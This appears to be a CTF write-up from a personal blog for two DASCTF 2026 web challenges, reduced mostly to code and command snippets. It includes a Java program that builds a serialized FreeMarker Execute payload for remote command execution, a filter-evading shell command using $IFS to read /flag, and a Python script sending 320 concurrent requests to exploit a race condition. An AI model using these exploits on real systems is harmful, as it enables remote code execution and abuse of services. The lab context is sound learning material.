晓堃の博客

1
D:\Users\CTF_sources\web\dasctf2026\TaxManager\tempdir\WEB附件\taxmanager-1.1.0-ctf.jar

1
E11BCB326E86B11DF52ADB0DB895A457FAC4A95C1E11D00D97A05B83E7A53737

1
curl http://ee4912d8.http-ctf2.dasctf.com:80/api/help

1
curl -L -o remote_app.jar http://ee4912d8.http-ctf2.dasctf.com:80/download/app.jar

1
A25551A7BE8B11A3F07DFBEE32D8ACFBEA35E2FDAA6B1D90BD8A2A8EE234D92E

1
curl http://ee4912d8.http-ctf2.dasctf.com:80/
2
curl http://ee4912d8.http-ctf2.dasctf.com:80/api/help

1
jar tf remote_app.jar

1
jar xf remote_app.jar BOOT-INF/classes BOOT-INF/lib META-INF/maven

1
javap -classpath BOOT-INF/classes -c -p com.tax.controller.AuthController
2
javap -classpath BOOT-INF/classes -c -p com.tax.controller.ReviewController
3
javap -classpath BOOT-INF/classes -c -p com.tax.controller.ExportController
4
javap -classpath BOOT-INF/classes -c -p com.tax.controller.ImportController

1
Security Alert: Invalid keyword detected in payload

1
import com.tax.job.ReportJob;
2
import com.tax.report.PdfReportGenerator;
3
import com.tax.util.ScheduledTaskHandler;
4

5
import java.io.ByteArrayOutputStream;
6
import java.io.ObjectOutputStream;
7
import java.lang.reflect.Field;
8
import java.util.Base64;
9
import java.util.Queue;
10

11
public class BuildPayload {
12
    public static void main(String[] args) throws Exception {
13
        if (args.length < 1) {
14
            System.err.println("usage: BuildPayload <command...>");
15
            System.exit(1);
16
        }
17

18
        String command = String.join(" ", args);
19
        String template =
20
                "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\""
21
                        + command.replace("\\\\", "\\\\\\\\").replace("\"", "\\\\\"")
22
                        + "\")}";
23

24
        ScheduledTaskHandler handler = new ScheduledTaskHandler();
25
        Field taskQueueField = ScheduledTaskHandler.class.getDeclaredField("taskQueue");
26
        taskQueueField.setAccessible(true);
27

28
        @SuppressWarnings("unchecked")
29
        Queue<Runnable> queue = (Queue<Runnable>) taskQueueField.get(handler);
30
        queue.add(new ReportJob(new PdfReportGenerator("pdf"), template));
31

32
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
33
        ObjectOutputStream oos = new ObjectOutputStream(baos);
34
        oos.writeObject(handler);
35
        oos.close();
36

37
        System.out.print(Base64.getEncoder().encodeToString(baos.toByteArray()));
38
    }
39
}

1
javac -cp "BOOT-INF/classes;BOOT-INF/lib/*" -d . BuildPayload.java

1
java -cp ".;BOOT-INF/classes;BOOT-INF/lib/*" BuildPayload "sh -c base64$IFS/flag>/tmp/x||base64$IFS/flag.txt>/tmp/x"

1
echo 'REFTQ1RGezZmZjA4ZDU4LTkzYWEtNDM1Ni1iZGI3LTllNjcwNGM3NDBlY30K' | base64 -d

1
DASCTF{6ff08d58-93aa-4356-bdb7-9e6704c740ec}

1
import requests
2
import random
3
import concurrent.futures
4

5
base = "http://58873f99.http-ctf2.dasctf.com"
6

7
u = "rvw" + str(random.randint(100000, 999999))
8
p = "pass1234"
9

10
s = requests.Session()
11
s.post(base + "/register", data={"username": u, "password": p}, allow_redirects=False)
12
s.post(base + "/login", data={"username": u, "password": p}, allow_redirects=False)
13

14
cookie = s.cookies.get("session")
15
headers = {
16
    "Cookie": f"session={cookie}",
17
    "Content-Type": "application/json",
18
    "Connection": "close",
19
}
20

21
def tip(_):
22
    try:
23
        r = requests.post(
24
            base + "/api/tip",
25
            data='{"article_id":1}',
26
            headers=headers,
27
            timeout=10,
28
        )
29
        return r.status_code, r.text
30
    except Exception as e:
31
        return "ERR", repr(e)
32

33
with concurrent.futures.ThreadPoolExecutor(max_workers=160) as ex:
34
    results = list(ex.map(tip, range(320)))
35

36
s2 = requests.Session()
37
s2.post(base + "/login", data={"username": u, "password": p}, allow_redirects=False)
38
print("account:", u, p)
39
print(s2.get(base + "/api/user/info").text)

1
GET /review

1
POST /api/export
2
Content-Type: application/json
3

4
{"article_id":1}

1
GET /api/export/status

1
GET /exports/export_1_1.txt

1
Title: Welcome to InkVerse
2
Author: admin
3
Export-ID: 1
4
Processed-At: 2026-05-30 04:21:29
5
Integrity: a606867c38f1d10f4bf4f6480cad8c83
6
Feature-Token: 68aa12766d60014a4685760309c7b4d57b22788f93b2ab00fdbbe04da8480bad
7
---
8
This is the official blog platform. Share your stories with the world!

1
POST /api/review/feature

1
{"error":"signature required. Use a valid feature signing token."}

1
GET /bulletin

1
<h3>Featured Author Rewards</h3>
2
<p>
3
Congratulations! As a featured author, you have access to exclusive content and the weekly digest reports.
4
Secret credential: DASCTF{bda61e3f-7154-44c7-abf1-7216a67c03eb}
5
</p>

1
DASCTF{bda61e3f-7154-44c7-abf1-7216a67c03eb}